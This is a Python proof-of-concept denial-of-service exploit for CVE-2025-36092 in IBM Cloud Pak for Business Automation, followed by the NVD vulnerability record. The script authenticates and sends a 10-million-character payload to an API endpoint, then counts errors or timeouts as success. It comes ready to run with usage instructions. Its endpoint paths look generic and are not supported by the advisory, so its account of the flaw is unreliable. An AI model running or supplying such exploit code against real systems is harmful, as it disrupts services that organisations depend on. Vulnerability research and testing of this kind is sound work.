CVE-2025-36092

# CVE-2025-36092 PoC - Denial of Service via Excessive Input Length # Target: IBM Cloud Pak For Business Automation # Affected Versions: 25.0.0, 24.0.1, 24.0.0 import requests import time import sys def exploit_cve_2025_36092(target_url, username, password): """ PoC for CVE-2025-36092 This demonstrates sending an oversized input to trigger DoS condition. Note: This is for authorized security testing only. """ login_url = f"{target_url}/auth/login" exploit_url = f"{target_url}/api/v1/process/submit" # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": username, "password": password } try: login_response = session.post(login_url, json=login_data, timeout=30) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send oversized input to trigger DoS # Generate payload with excessive length oversized_payload = { "input_data": "A" * 10000000, # 10MB of characters "process_id": "vulnerable_process", "action": "submit" } print("[*] Sending oversized input payload...") exploit_response = session.post(exploit_url, json=oversized_payload, timeout=60) # Step 3: Verify DoS condition if exploit_response.status_code == 500 or exploit_response.status_code == 503: print("[+] DoS condition triggered successfully") return True else: print(f"[*] Response status: {exploit_response.status_code}") return False except requests.exceptions.Timeout: print("[+] Timeout detected - possible DoS condition") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py https://ibm-cpba.example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_36092(target, user, pwd)

{"cve": {"id": "CVE-2025-36092", "sourceIdentifier": "[email protected]", "published": "2025-11-03T16:15:34.600", "lastModified": "2025-11-05T14:58:19.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Cloud Pak For Business Automation 25.0.0, 24.0.1, and 24.0.0 could allow an authenticated user to cause a denial of service due to the improper validation of input length."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "EF879B84-21B0-4FD4-AD2E-7F29EBDD218A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "496D1A48-3403-471F-AD07-AEC7E5000AD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_002:*:*:*:*:*:*", "matchCriteriaId": "AA215EC3-DDFE-494D-862C-35CA30D9BEDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_003:*:*:*:*:*:*", "matchCriteriaId": "969ED94C-DB65-482F-B8B8-251B56DE264D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_004:*:*:*:*:*:*", "matchCriteriaId": "D1810412-5987-4F53-A81E-096A4F0187B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:-:*:*:*:*:*:*", "matchCriteriaId": "F68528C5-034B-4B2C-8745-B969B14B52C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "EADE80E3-4E60-4154-A559-93E2325D799A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_002:*:*:*:*:*:*", "matchCriteriaId": "D01FC35C-29F1-4D57-8804-07A5C1E9EA85"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_004:*:*:*:*:*:*", "matchCriteriaId": "4D682E4B-DA22-4F88-A38F-76FF080AE0B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:25.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "70431A72-663D-432E-9D94-5BBE380E06AB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:25.0.0:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "33128B64-7030-4A4E-8EF2-E285AF44F99F"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249999", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}